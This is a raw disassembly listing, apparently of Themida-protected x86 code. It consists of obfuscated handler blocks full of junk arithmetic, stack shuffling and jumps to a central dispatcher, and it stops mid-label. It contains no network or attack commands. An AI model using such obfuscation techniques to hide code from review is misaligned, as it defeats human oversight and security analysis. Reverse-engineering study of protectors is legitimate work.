sub ebx, 30C24173h
mov eax, [esp]
add esp, 4
add ebx, eax
add ebx, 1BA823E0h
mov eax, [esp]
add esp, 4
push edi
mov edi, 4
add ebx, edi
pop edi
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A385E: ; CODE XREF: Themida_:005A501Fj
sub ebx, eax
pop eax
mov eax, [esp]
add esp, 4
jmp loc_5A69D7
; ---------------------------------------------------------------------------
loc_5A386C: ; CODE XREF: Themida_:005A2184j
mov [esp], ecx
mov ecx, esp
push 5FCAh
mov [esp], ebx
mov ebx, 715397Dh
xor ebx, 4BE309F4h
jmp loc_5A5030
; ---------------------------------------------------------------------------
loc_5A3889: ; CODE XREF: Themida_:005A66B3j
mov ah, 0C1h
shl ah, 6
push edx
mov dl, 0A5h
dec dl
jmp loc_596FA0
; ---------------------------------------------------------------------------
loc_5A3898: ; CODE XREF: Themida_:005A556Bj
add eax, 25B353F3h
jmp loc_5A62D0
; ---------------------------------------------------------------------------
loc_5A38A2: ; CODE XREF: Themida_:005A46E3j
xchg ecx, [esp]
jmp loc_5AA560
; ---------------------------------------------------------------------------
loc_5A38AA: ; CODE XREF: Themida_:005A7491j
add esi, 4
push edi
mov edi, 4
add esi, edi
pop edi
xchg esi, [esp]
mov esp, [esp]
xor edx, edx
jmp loc_59CEE4
; ---------------------------------------------------------------------------
loc_5A38C6: ; CODE XREF: Themida_:0059B358j
add edi, edx
mov edx, [esp]
add esp, 4
add edi, 4
xchg edi, [esp]
jmp loc_59C596
; ---------------------------------------------------------------------------
loc_5A38DF: ; CODE XREF: Themida_:0059626Fj
sub ebx, 0FFFFFFFFh
jmp loc_59C1BF
; ---------------------------------------------------------------------------
loc_5A38E7: ; CODE XREF: Themida_:0059713Dj
mov esi, [esp]
add esp, 4
or eax, eax
jz loc_59EE38
push dword ptr [edi+1Ch]
push eax
mov eax, 26D77B2Dh
sub [esp+4], eax
mov eax, [esp]
add esp, 4
pop ecx
push eax
push 0E4Bh
mov [esp], ecx
push ebx
mov ebx, 26D77B2Dh
push 2758h
mov [esp], ebx
jmp loc_598EC5
; ---------------------------------------------------------------------------
loc_5A3928: ; CODE XREF: Themida_:005AAD3Ej
pop esp
jmp loc_59CAB4
; ---------------------------------------------------------------------------
loc_5A392E: ; CODE XREF: Themida_:0059AB52j
mov ebx, 90706DEh
jmp loc_5AAEC8
; ---------------------------------------------------------------------------
loc_5A3938: ; CODE XREF: Themida_:0059A8D5j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push edx
push esp
pop edx
push 40A8h
mov [esp], ebx
push ebp
push 68560CBCh
jmp loc_5A95E8
; ---------------------------------------------------------------------------
loc_5A395D: ; CODE XREF: Themida_:0059BA26j
xor eax, 771620AEh
add ebp, eax
pop eax
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59E3DE
; ---------------------------------------------------------------------------
loc_5A3974: ; CODE XREF: Themida_:0059DC97j
mov ebx, esi
pop esi
jmp loc_59B487
; ---------------------------------------------------------------------------
loc_5A397C: ; CODE XREF: Themida_:0059ED6Fj
mov dl, bl
pop ebx
mov cl, dl
pop dx
jmp loc_59A78F
; ---------------------------------------------------------------------------
loc_5A3988: ; CODE XREF: Themida_:005A91CDj
push edx
push ebx
mov ebx, 1D646BDDh
mov edx, ebx
mov ebx, [esp]
add esp, 4
push edx
mov edx, 4AD3F8Bh
jmp loc_59FCA0
; ---------------------------------------------------------------------------
loc_5A39A5: ; CODE XREF: Themida_:0059BC01j
pop esi
push eax
mov eax, 4
add ebx, eax
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_598957
; ---------------------------------------------------------------------------
loc_5A39BD: ; CODE XREF: Themida_:00598FD4j
add ebp, 44C915C1h
add ebp, 3F550CB5h
jmp loc_5A3F08
; ---------------------------------------------------------------------------
loc_5A39CE: ; CODE XREF: Themida_:0059D66Aj
mov eax, 84117F8h
sub eax, 8D47C45Ch
add edi, eax
pop eax
add edi, ebp
sub edi, 7AF9539Ch
add edi, 2F5074C0h
jmp loc_599FB5
; ---------------------------------------------------------------------------
loc_5A39EE: ; CODE XREF: Themida_:0059A8A3j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
or eax, eax
jz loc_5A283A
sub esp, 4
jmp loc_597C4F
; ---------------------------------------------------------------------------
loc_5A3A0A: ; CODE XREF: Themida_:005AAB6Dj
push 658Fh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
push esi
jmp loc_5A2D30
; ---------------------------------------------------------------------------
loc_5A3A21: ; CODE XREF: Themida_:0059A412j
xor eax, 27CA58FFh
jmp loc_5AAE1C
; ---------------------------------------------------------------------------
loc_5A3A2B: ; CODE XREF: Themida_:005A3E8Aj
xchg ebp, esi
jmp loc_59EC03
; ---------------------------------------------------------------------------
loc_5A3A32: ; CODE XREF: Themida_:005A9086j
push ecx
mov ecx, 376F38A7h
sub ebx, ecx
jmp loc_5A90B2
; ---------------------------------------------------------------------------
loc_5A3A3F: ; CODE XREF: Themida_:005A17C4j
mov ebx, 7A5F749Ah
sub ebx, 135F4FAAh
sub ebx, 670024EEh
jmp loc_5A1FAB
; ---------------------------------------------------------------------------
loc_5A3A55: ; CODE XREF: Themida_:0059E640j
pop eax
add ebx, esi
sub ebx, 0F7B3322h
pop esi
push ebp
jmp loc_59E066
; ---------------------------------------------------------------------------
loc_5A3A65: ; CODE XREF: Themida_:005A4822j
add ebx, eax
sub ebx, 78FD0C7Eh
add ebx, 63F66EB2h
push 2CCh
mov [esp], edi
mov edi, 16C91C79h
add ebx, 6595111Ch
sub ebx, edi
push esi
mov esi, 4436144Ah
shl esi, 3
shr esi, 1
jmp loc_5A7FF7
; ---------------------------------------------------------------------------
loc_5A3A98: ; CODE XREF: Themida_:0059DF3Bj
xchg edx, [esp]
jmp loc_5A2513
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A3AA9: ; CODE XREF: Themida_:00599670j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A3AAE: ; CODE XREF: Themida_:005AAD16j
mov ebx, 0B508374Eh
xor eax, ebx
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
mov esi, eax
jmp loc_5A5077
; ---------------------------------------------------------------------------
loc_5A3AD0: ; CODE XREF: Themida_:005A5D35j
mov eax, 2B7F72D6h
jmp loc_59864B
; ---------------------------------------------------------------------------
loc_5A3ADA: ; CODE XREF: Themida_:005A8235j
mov esi, 3E0B073Fh
add esi, 5627174Ah
xor esi, 0C005784h
sub esi, 3DF6FEDCh
sub eax, esi
mov esi, [esp]
add esp, 4
add eax, ebp
add eax, 5A3B4A31h
pop ebp
push 6672h
jmp loc_59FEE9
; ---------------------------------------------------------------------------
loc_5A3B0E: ; CODE XREF: Themida_:00596794j
xor bx, 1AE1h
jmp loc_5A9901
; ---------------------------------------------------------------------------
loc_5A3B18: ; CODE XREF: Themida_:005A7546j
add edx, 6D337AF5h
mov esi, edx
jmp loc_598659
; ---------------------------------------------------------------------------
loc_5A3B25: ; CODE XREF: Themida_:0059A64Fj
push 3303h
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebp
mov ebp, 4
jmp loc_59C385
; ---------------------------------------------------------------------------
loc_5A3B40: ; CODE XREF: Themida_:005989B3j
add eax, edx
jmp loc_597578
; ---------------------------------------------------------------------------
loc_5A3B47: ; CODE XREF: Themida_:00599EE8j
mov [esp], ecx
push eax
mov al, 0C5h
mov cl, 10h
xor cl, al
jmp loc_5A252C
; ---------------------------------------------------------------------------
loc_5A3B56: ; CODE XREF: Themida_:005A2AEEj
pop ebp
add edi, ecx
sub esp, 4
mov [esp], edx
push edi
push 4443315Eh
pop edi
jmp loc_5A2B03
; ---------------------------------------------------------------------------
loc_5A3B6B: ; CODE XREF: Themida_:0059B424j
add esp, 4
jmp loc_5AAFC3
; ---------------------------------------------------------------------------
loc_5A3B73: ; CODE XREF: Themida_:00598F26j
pop edx
add edx, 4A4019EAh
jmp loc_5A6D8A
; ---------------------------------------------------------------------------
loc_5A3B7F: ; CODE XREF: Themida_:005A0F9Cj
sub ecx, 0AED74C20h
jmp loc_5A8408
; ---------------------------------------------------------------------------
loc_5A3B8A: ; CODE XREF: Themida_:00597573j
mov [esp], edi
mov edi, esp
sub esp, 4
mov [esp], ecx
push esi
mov esi, 7D4C0145h
mov ecx, esi
pop esi
push ebx
push ecx
mov ecx, 610C6FF3h
push esi
jmp loc_5A8C02
; ---------------------------------------------------------------------------
loc_5A3BAB: ; CODE XREF: Themida_:005A08CCj
pop ecx
add eax, 5A9329CAh
sub eax, ebx
push ebx
mov ebx, 75ED0DBAh
jmp loc_5A3EC1
; ---------------------------------------------------------------------------
loc_5A3BBE: ; CODE XREF: Themida_:0059D15Dj
mov [esp], edx
mov edx, 3DEA7111h
dec edx
jmp loc_5A771E
; ---------------------------------------------------------------------------
loc_5A3BCC: ; CODE XREF: Themida_:005A55F2j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A6253
; ---------------------------------------------------------------------------
loc_5A3BE6: ; CODE XREF: Themida_:0059B2C2j
pop edi
push 1D4Ch
mov [esp], edx
jmp loc_59AEDB
; ---------------------------------------------------------------------------
loc_5A3BF4: ; CODE XREF: Themida_:0059F3BBj
mov ebx, 29160F0Ah
sub ecx, ebx
pop ebx
jmp loc_5A1B87
; ---------------------------------------------------------------------------
loc_5A3C01: ; CODE XREF: Themida_:005A9AA8j
sub esi, 18937002h
sub edx, esi
pop esi
jmp loc_597D31
; ---------------------------------------------------------------------------
loc_5A3C0F: ; CODE XREF: Themida_:005A65DEj
mov [esp], ebx
mov ebx, 426F4B0Bh
and ebx, 7C0E6494h
dec ebx
shr ebx, 3
add ebx, 42413C8Fh
jmp loc_5A325F
; ---------------------------------------------------------------------------
loc_5A3C2C: ; CODE XREF: Themida_:005A2EE6j
mov [esp], ebx
jmp loc_5A9FA9
; ---------------------------------------------------------------------------
loc_5A3C34: ; CODE XREF: Themida_:0059D0C3j
add esp, 2
jmp loc_59CB2A
; ---------------------------------------------------------------------------
loc_5A3C3C: ; CODE XREF: Themida_:005A963Dj
mov eax, esp
add eax, 4
jmp loc_59FDAC
; ---------------------------------------------------------------------------
loc_5A3C48: ; CODE XREF: Themida_:0059B27Dj
mov ecx, 3FF97C4Bh
jmp loc_597EA8
; ---------------------------------------------------------------------------
loc_5A3C52: ; CODE XREF: Themida_:005A0202j
pop ecx
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
ror byte ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A3C7B: ; CODE XREF: Themida_:0059F5C7j
add ebp, 4
xchg ebp, [esp]
pop esp
pop ebp
push edi
mov edi, 40262F3Dh
sub edi, 127C4725h
jmp loc_59A8EF
; ---------------------------------------------------------------------------
loc_5A3C97: ; CODE XREF: Themida_:005A7C0Dj
push dword ptr [esp]
pop edx
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_59D2F6
; ---------------------------------------------------------------------------
loc_5A3CA9: ; CODE XREF: Themida_:0059F578j
push 385Eh
jmp loc_5A1BE8
; ---------------------------------------------------------------------------
loc_5A3CB3: ; CODE XREF: Themida_:0059E89Dj
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_598A8B
; ---------------------------------------------------------------------------
loc_5A3CC7: ; CODE XREF: Themida_:0059FE14j
sub edi, ecx
pop ecx
jmp loc_5A5CBB
; ---------------------------------------------------------------------------
loc_5A3CCF: ; CODE XREF: Themida_:0059F80Dj
pop ebx
neg edx
or edx, 7B195455h
add edx, 1EF7FC8Fh
sub ebp, edx
pop edx
add esi, ebp
pop ebp
jmp loc_59CBAA
; ---------------------------------------------------------------------------
loc_5A3CE9: ; CODE XREF: Themida_:005A947Bj
mov edx, esi
jmp loc_5963CE
; ---------------------------------------------------------------------------
loc_5A3CF0: ; CODE XREF: Themida_:005989DBj
xor ecx, edi
xor edi, ecx
shl edi, 2
jmp loc_5982AF
; ---------------------------------------------------------------------------
loc_5A3CFC: ; CODE XREF: Themida_:0059CE81j
add ebx, edx
pop edx
pop edx
jmp loc_59ED59
; ---------------------------------------------------------------------------
loc_5A3D05: ; CODE XREF: Themida_:005A428Fj
add esp, 4
push 73D7h
mov [esp], ecx
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], esp
jmp loc_5A284C
; ---------------------------------------------------------------------------
loc_5A3D27: ; CODE XREF: Themida_:005A2FCEj
mov [esp], esp
push eax
mov eax, 4
jmp loc_5A1259
; ---------------------------------------------------------------------------
loc_5A3D35: ; CODE XREF: Themida_:005A1037j
xchg ebx, [esp]
pop esp
xchg ebx, esi
not ebx
xchg ebx, esi
jmp loc_598E1D
; ---------------------------------------------------------------------------
loc_5A3D44: ; CODE XREF: Themida_:005A8433j
pop ebx
pop edi
jmp loc_5A2B80
; ---------------------------------------------------------------------------
loc_5A3D4B: ; CODE XREF: Themida_:0059B6EFj
pop ebx
push dword ptr [esp]
jmp loc_59C910
; ---------------------------------------------------------------------------
loc_5A3D54: ; CODE XREF: Themida_:0059785Bj
pop edx
sub dword ptr [esp+8], 305B21A1h
add [esp+8], edi
jmp loc_5A45E6
; ---------------------------------------------------------------------------
loc_5A3D66: ; CODE XREF: Themida_:005A8B29j
push ebx
push eax
push 25B47047h
pop eax
not eax
sub eax, 8AB9511Ch
jmp loc_5AB306
; ---------------------------------------------------------------------------
loc_5A3D7A: ; CODE XREF: Themida_:005A85E2j
push 5779h
mov [esp], edi
push eax
jmp loc_59EE61
; ---------------------------------------------------------------------------
loc_5A3D88: ; CODE XREF: Themida_:0059DF30j
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], cx
jmp loc_5A50B4
; ---------------------------------------------------------------------------
loc_5A3D96: ; CODE XREF: Themida_:0059F9DBj
pop esp
mov [esp], edx
jmp loc_599D13
; ---------------------------------------------------------------------------
loc_5A3D9F: ; CODE XREF: Themida_:005A3666j
mov esp, [esp]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A3DA7: ; CODE XREF: Themida_:005A4116j
add ecx, 0BDE7B46Eh
add ebp, ecx
pop ecx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_59966B
; ---------------------------------------------------------------------------
loc_5A3DBF: ; CODE XREF: Themida_:005A1DE4j
pop esp
mov [esp], ecx
mov ecx, esp
push esi
push edi
mov edi, 2D5463F2h
push edi
add dword ptr [esp], 5E9C2135h
pop esi
jmp loc_598C27
; ---------------------------------------------------------------------------
loc_5A3DDA: ; CODE XREF: Themida_:005A4DB3j
add esp, 4
mov esi, eax
mov eax, [esp]
add esp, 4
sub ebp, 13865226h
push edi
push 1C6Bh
mov [esp], ebp
push esi
mov esi, 2B410E2Eh
jmp loc_5A1C73
; ---------------------------------------------------------------------------
loc_5A3DFF: ; CODE XREF: Themida_:0059781Ej
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
jmp loc_5A870B
; ---------------------------------------------------------------------------
loc_5A3E19: ; CODE XREF: Themida_:0059FF09j
push 40EE670Ah
jmp loc_5A0CDB
; ---------------------------------------------------------------------------
loc_5A3E23: ; CODE XREF: Themida_:0059E0FAj
mov esp, [esp]
mov ax, [esp]
push ebp
push edx
jmp loc_5A4953
; ---------------------------------------------------------------------------
loc_5A3E31: ; CODE XREF: Themida_:005A0A6Dj
add esi, 6E117AE1h
jmp loc_5A8BFB
; ---------------------------------------------------------------------------
loc_5A3E3C: ; CODE XREF: Themida_:005AA2C2j
pop esp
push ecx
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
sub ecx, eax
pop eax
xchg ecx, [esp]
pop esp
mov [esp], edi
push 17C87E5Ah
pop edi
push ebx
mov ebx, 392E1E81h
dec ebx
push edx
mov edx, 3539EB9Ch
jmp loc_5AADBD
; ---------------------------------------------------------------------------
loc_5A3E6E: ; CODE XREF: Themida_:0059A2D0j
push 51E1h
mov [esp], esi
push 7857203Eh
pop esi
sub ecx, esi
jmp loc_59F2CD
; ---------------------------------------------------------------------------
loc_5A3E83: ; CODE XREF: Themida_:005A56C4j
xchg esi, [esp]
xchg ebp, esi
not ebp
jmp loc_5A3A2B
; ---------------------------------------------------------------------------
loc_5A3E8F: ; CODE XREF: Themida_:005A6779j
mov edx, 0
push 5BC9h
mov [esp], edx
push edx
push ecx
mov ecx, 55A204DBh
jmp loc_5A4080
; ---------------------------------------------------------------------------
loc_5A3EA8: ; CODE XREF: Themida_:005A1A93j
mov esp, [esp]
sub al, 0EBh
add al, dh
add al, 0EBh
mov edx, [esp]
add esp, 4
push 4A22h
jmp loc_5A68EE
; ---------------------------------------------------------------------------
loc_5A3EC1: ; CODE XREF: Themida_:005A3BB9j
and ebx, 309C0516h
sub ebx, 65C304BBh
sub ebx, 50E5402Ch
xor ebx, 2370E9E1h
sub eax, ebx
jmp loc_5AB050
; ---------------------------------------------------------------------------
loc_5A3EE0: ; CODE XREF: Themida_:0059DA39j
shr eax, 0Ch
xor eax, ecx
push 76F6h
jmp loc_599896
; ---------------------------------------------------------------------------
mov ax, [esp]
push 676Bh
jmp loc_5969A6
; ---------------------------------------------------------------------------
loc_5A3EFD: ; CODE XREF: Themida_:0059CD52j
xor ebp, 2ECB27B8h
jmp loc_5AAB79
; ---------------------------------------------------------------------------
loc_5A3F08: ; CODE XREF: Themida_:005A39C9j
add edi, ebp
jmp loc_5A9273
; ---------------------------------------------------------------------------
loc_5A3F0F: ; CODE XREF: Themida_:00597EEBj
add al, bh
jmp loc_5981EC
; ---------------------------------------------------------------------------
loc_5A3F16: ; CODE XREF: Themida_:005A25C4j
pop esi
xor ax, dx
mov dx, [esp]
jmp loc_598CE7
; ---------------------------------------------------------------------------
loc_5A3F23: ; CODE XREF: Themida_:005A2FBDj
xor al, bl
push small 17DAh
mov [esp], bx
jmp loc_5A7CAD
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A3F41: ; CODE XREF: Themida_:005A4363j
sub edx, 4E7A1BEEh
mov ecx, [esp]
push eax
push esp
jmp loc_5A898F
; ---------------------------------------------------------------------------
loc_5A3F51: ; CODE XREF: Themida_:005A8101j
push dword ptr [esp]
jmp loc_596C34
; ---------------------------------------------------------------------------
loc_5A3F59: ; CODE XREF: Themida_:005A483Ej
mov ebx, [esp]
jmp loc_5A2289
; ---------------------------------------------------------------------------
loc_5A3F61: ; CODE XREF: Themida_:005A45E1j
add esp, 4
or bl, 0FAh
inc bl
jmp loc_596654
; ---------------------------------------------------------------------------
loc_5A3F71: ; CODE XREF: Themida_:005A8E1Fj
xchg esi, [esp]
pop esp
mov [esp], esi
sub esp, 4
mov [esp], ebx
push edx
mov edx, 1CD15FBFh
mov ebx, edx
pop edx
mov esi, 1CD15FBBh
xor esi, ebx
jmp loc_5AAF6B
; ---------------------------------------------------------------------------
loc_5A3F93: ; CODE XREF: Themida_:005AA561j
sub edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], ebp
mov ebp, 396F1831h
xor eax, ebp
jmp loc_59F1AE
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5970E7
; ---------------------------------------------------------------------------
loc_5A3FBB: ; CODE XREF: Themida_:005A5FA3j
xchg edx, [esp]
pop esp
add ebp, 2
xchg ebp, [esp]
pop esp
jmp loc_59EA9F
; ---------------------------------------------------------------------------
loc_5A3FCB: ; CODE XREF: Themida_:00599378j
pop ecx
xor edx, 0DD79ADBAh
push 7689h
jmp loc_59850D
; ---------------------------------------------------------------------------
loc_5A3FDC: ; CODE XREF: Themida_:0059B5EAj
pop eax
push ecx
mov ecx, 3A356246h
add ebx, ecx
pop ecx
add ebx, edi
sub ebx, 3A356246h
jmp loc_5A4A60
; ---------------------------------------------------------------------------
loc_5A3FF3: ; CODE XREF: Themida_:00598C3Bj
add ebx, 4
jmp loc_5A1031
; ---------------------------------------------------------------------------
loc_5A3FFE: ; CODE XREF: Themida_:005A268Cj
push ecx
mov cl, 99h
add al, cl
pop ecx
add al, dh
push cx
mov ch, 99h
sub al, ch
pop cx
push ebx
mov bh, 9Dh
jmp loc_5A8D50
; ---------------------------------------------------------------------------
loc_5A4016: ; CODE XREF: Themida_:005A854Cj
push ebp
mov ebp, 0DA5FC8F4h
sub ecx, ebp
mov ebp, [esp]
add esp, 4
push esi
mov esi, 4DD90BA7h
or esi, 0B2D473Fh
jmp loc_59877C
; ---------------------------------------------------------------------------
loc_5A4035: ; CODE XREF: Themida_:005A4BCFj
add ecx, 6D5453Bh
jmp loc_598E4E
; ---------------------------------------------------------------------------
loc_5A4040: ; CODE XREF: Themida_:005AAFBEj
add edi, 18E351Ah
mov ecx, [esp]
push ebp
mov ebp, esp
jmp loc_597C15
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
jmp loc_59FC20
; ---------------------------------------------------------------------------
loc_5A405A: ; CODE XREF: Themida_:005A414Cj
push dword ptr [esp]
jmp loc_5A22F2
; ---------------------------------------------------------------------------
loc_5A4062: ; CODE XREF: Themida_:0059C752j
push edx
push ecx
mov ecx, 77A04C22h
jmp loc_59C8D2
; ---------------------------------------------------------------------------
loc_5A406E: ; CODE XREF: Themida_:005AABD8j
mov bh, dl
jmp loc_599D8B
; ---------------------------------------------------------------------------
loc_5A4075: ; CODE XREF: Themida_:005A9256j
mov edx, [esp]
add esp, 4
jmp loc_5A5D1D
; ---------------------------------------------------------------------------
loc_5A4080: ; CODE XREF: Themida_:005A3EA3j
shr ecx, 3
push 2844h
mov [esp], ebx
push eax
push edi
push 42324495h
mov edi, [esp]
add esp, 4
add edi, 3F06628Eh
shl edi, 4
xor edi, 4E606A19h
mov eax, edi
pop edi
mov ebx, 0EB00FCAEh
xor ebx, eax
pop eax
add ecx, 3BB338D0h
sub ecx, ebx
push esi
mov esi, 3BB338D0h
sub ecx, esi
pop esi
mov ebx, [esp]
add esp, 4
mov edx, ecx
pop ecx
xor [esp+4], edx
pop edx
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_59DFBE
; ---------------------------------------------------------------------------
loc_5A40F2: ; CODE XREF: Themida_:00599EFBj
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_5976B6
; ---------------------------------------------------------------------------
loc_5A4101: ; CODE XREF: Themida_:005A6039j
sub [esp], eax
sub dword ptr [esp], 10F2659Eh
pop eax
push edx
jmp loc_59E208
; ---------------------------------------------------------------------------
loc_5A4112: ; CODE XREF: Themida_:0059D5BFj
xchg ebx, [esp]
pop esp
jmp loc_5A3DA7
; ---------------------------------------------------------------------------
loc_5A411B: ; CODE XREF: Themida_:005A2683j
pop esi
add ebp, 4
xchg ebp, [esp]
pop esp
add eax, 4
push 15AFh
jmp loc_5A237F
; ---------------------------------------------------------------------------
loc_5A4132: ; CODE XREF: Themida_:005A1D30j
xor ebp, eax
pop eax
add edx, 465D3A9Dh
add edx, ebp
push 5779h
mov [esp], edi
mov edi, 465D3A9Dh
sub edx, edi
jmp loc_5A405A
; ---------------------------------------------------------------------------
loc_5A4151: ; CODE XREF: Themida_:005A6B8Fj
mov ebp, 800h
and eax, ebp
mov ebp, [esp]
sub esp, 4
jmp loc_597FA5
; ---------------------------------------------------------------------------
loc_5A4166: ; CODE XREF: Themida_:005A7FC6j
push dword ptr [esp+4]
push dword ptr [esp]
pop ebp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_59A654
; ---------------------------------------------------------------------------
loc_5A417C: ; CODE XREF: Themida_:005A8D1Aj
add ebx, 68921C6Fh
pop esi
xor ebx, ecx
jmp loc_595ECC
; ---------------------------------------------------------------------------
loc_5A418A: ; CODE XREF: Themida_:0059FF20j
push dword ptr [esp]
pop edx
push ebx
jmp loc_5987E0
; ---------------------------------------------------------------------------
loc_5A4194: ; CODE XREF: Themida_:005982E7j
pop edx
mov edx, edi
pop edi
xor edx, 66F54A1Bh
sub edx, 1A7B09B0h
add edx, 7984067Dh
inc edx
jmp loc_5A82B7
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5A4482
; ---------------------------------------------------------------------------
loc_5A41B8: ; CODE XREF: Themida_:005A720Bj
neg esi
push ebp
mov ebp, 787D9572h
add esi, ebp
mov ebp, [esp]
jmp loc_5AA022
; ---------------------------------------------------------------------------
loc_5A41CA: ; CODE XREF: Themida_:005A7537j
inc ecx
push esi
mov esi, 10897BD2h
shr esi, 7
and esi, 6A435A82h
add esi, 7FDC2AE9h
add esi, 34D33812h
or esi, 61FE31F3h
xor esi, 2F2B9EEDh
xor ecx, esi
pop esi
jmp loc_5A10CF
; ---------------------------------------------------------------------------
loc_5A41FA: ; CODE XREF: Themida_:005A9781j
mov [esp], eax
add dword ptr [esp], 0FFFFFFFFh
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5994F0
; ---------------------------------------------------------------------------
loc_5A4213: ; CODE XREF: Themida_:005A885Cj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A4218: ; CODE XREF: Themida_:005A93F0j
xor ebp, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A422D: ; CODE XREF: Themida_:00596115j
mov [esp], edx
mov edx, 4
sub ebp, edx
jmp loc_5A37E2
; ---------------------------------------------------------------------------
loc_5A423C: ; CODE XREF: Themida_:0059629Cj
mov esi, esp
add esi, 4
push ebp
mov ebp, 4
add esi, ebp
jmp loc_5A0D48
; ---------------------------------------------------------------------------
loc_5A4251: ; CODE XREF: Themida_:00597D45j
pop esp
jmp loc_5A1D23
; ---------------------------------------------------------------------------
loc_5A4257: ; CODE XREF: Themida_:005A88EEj
sub esi, 68F44221h
push edx
push ecx
jmp loc_5A9B81
; ---------------------------------------------------------------------------
loc_5A4264: ; CODE XREF: Themida_:005A1DA3j
xor ecx, ebp
pop ebp
xor edi, ecx
push dword ptr [esp]
pop ecx
jmp loc_5963E2
; ---------------------------------------------------------------------------
loc_5A4272: ; CODE XREF: Themida_:005A4C8Cj
inc dh
jmp loc_59D5AD
; ---------------------------------------------------------------------------
loc_5A4279: ; CODE XREF: Themida_:005990D4j
sub esi, 69C75445h
pop ebx
push dword ptr [esp]
jmp loc_59BDD3
; ---------------------------------------------------------------------------
loc_5A4288: ; CODE XREF: Themida_:0059967Aj
pop eax
sub bl, 62h
mov edx, [esp]
jmp loc_5A3D05
; ---------------------------------------------------------------------------
loc_5A4294: ; CODE XREF: Themida_:005AB0ABj
xor ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_599FCA
; ---------------------------------------------------------------------------
loc_5A42A1: ; CODE XREF: Themida_:005A32D1j
pop ecx
jmp loc_59EF7A
; ---------------------------------------------------------------------------
loc_5A42A7: ; CODE XREF: Themida_:005AAEC9j
mov edi, 41EC785Fh
xor edi, 3AC052A7h
inc edi
sub esp, 4
mov [esp], ebp
push ecx
mov ecx, 0E9A4D54h
mov ebp, 3AC110EFh
sub ebp, ecx
pop ecx
sub edi, ebp
pop ebp
add ebx, edi
pop edi
inc ebx
shr ebx, 6
jmp loc_59A9EF
; ---------------------------------------------------------------------------
loc_5A42D6: ; CODE XREF: Themida_:005AB334j
mov esp, [esp]
shr ecx, 0Ah
jmp loc_5991AE
; ---------------------------------------------------------------------------
lodsd
sub eax, 69B017Fh
sub eax, 770F6671h
push ecx
mov ecx, 0A865340h
shl ecx, 8
shl ecx, 1
push 1A5h
mov [esp], esi
jmp loc_5A95C8
; ---------------------------------------------------------------------------
loc_5A4304: ; CODE XREF: Themida_:005A64C4j
sub esp, 4
mov [esp], edx
jmp loc_59DF40
; ---------------------------------------------------------------------------
loc_5A4312: ; CODE XREF: Themida_:005A5910j
push 170D2A97h
pop esi
and esi, 5ABE19F6h
shr esi, 6
jmp loc_5AAB43
; ---------------------------------------------------------------------------
loc_5A4326: ; CODE XREF: Themida_:005AA665j
push ebp
mov ebp, 38D22761h
sub ebp, 61557488h
xor ebp, 0D77CB2DDh
jmp loc_5A2FA0
; ---------------------------------------------------------------------------
loc_5A433D: ; CODE XREF: Themida_:005989FCj
or ebp, 7DA4397Dh
jmp loc_59CD7C
; ---------------------------------------------------------------------------
loc_5A4348: ; CODE XREF: Themida_:005A86E0j
sub al, dh
pop edx
push edx
push ebx
mov bh, 8Dh
mov dl, 0F5h
jmp loc_59E652
; ---------------------------------------------------------------------------
loc_5A4356: ; CODE XREF: Themida_:005A5DCEj
add ebp, 4
jmp loc_596937
; ---------------------------------------------------------------------------
loc_5A4361: ; CODE XREF: Themida_:005A7D38j
add edx, ecx
jmp loc_5A3F41
; ---------------------------------------------------------------------------
loc_5A4368: ; CODE XREF: Themida_:005A7963j
sub esi, 59A04BF4h
jmp loc_5A11A8
; ---------------------------------------------------------------------------
loc_5A4373: ; CODE XREF: Themida_:0059744Bj
add esp, 4
jmp loc_5A5354
; ---------------------------------------------------------------------------
loc_5A437E: ; CODE XREF: Themida_:005A8E32j
mov eax, esp
jmp loc_5A1613
; ---------------------------------------------------------------------------
loc_5A4385: ; CODE XREF: Themida_:005967BEj
